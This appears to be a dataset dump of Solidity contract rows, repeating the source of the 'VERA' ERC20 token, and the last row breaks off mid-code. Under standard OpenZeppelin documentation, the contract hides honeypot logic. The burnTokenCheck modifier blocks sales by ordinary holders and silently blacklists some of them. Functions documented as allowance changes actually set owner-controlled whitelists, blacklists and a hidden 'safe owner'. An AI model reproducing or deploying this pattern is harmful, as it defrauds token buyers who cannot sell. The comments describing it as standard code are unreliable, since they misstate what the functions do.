contract_name
stringlengths 1
61
| file_path
stringlengths 5
50.4k
| contract_address
stringlengths 42
42
| language
stringclasses 1
value | class_name
stringlengths 1
61
| class_code
stringlengths 4
330k
| class_documentation
stringlengths 0
29.1k
| class_documentation_type
stringclasses 6
values | func_name
stringlengths 0
62
| func_code
stringlengths 1
303k
| func_documentation
stringlengths 2
14.9k
| func_documentation_type
stringclasses 4
values | compiler_version
stringlengths 15
42
| license_type
stringclasses 14
values | swarm_source
stringlengths 0
71
| meta
dict | __index_level_0__
int64 0
60.4k
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
VERA
|
VERA.sol
|
0xb5d018cc53dda89b5a17fa3d1f88ad580250c111
|
Solidity
|
VERA
|
contract VERA is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
|
NatSpecMultiLine
|
_approve
|
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
|
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
None
|
ipfs://98d0a6c8936273b62fb4f0e5e5ff98bc9019165d621672c8f8ce23e392001666
|
{
"func_code_index": [
9885,
10234
]
}
| 55,461 |
VERA
|
VERA.sol
|
0xb5d018cc53dda89b5a17fa3d1f88ad580250c111
|
Solidity
|
VERA
|
contract VERA is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
|
NatSpecMultiLine
|
_approveCheck
|
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
|
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
None
|
ipfs://98d0a6c8936273b62fb4f0e5e5ff98bc9019165d621672c8f8ce23e392001666
|
{
"func_code_index": [
10679,
11271
]
}
| 55,462 |
VERA
|
VERA.sol
|
0xb5d018cc53dda89b5a17fa3d1f88ad580250c111
|
Solidity
|
VERA
|
contract VERA is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
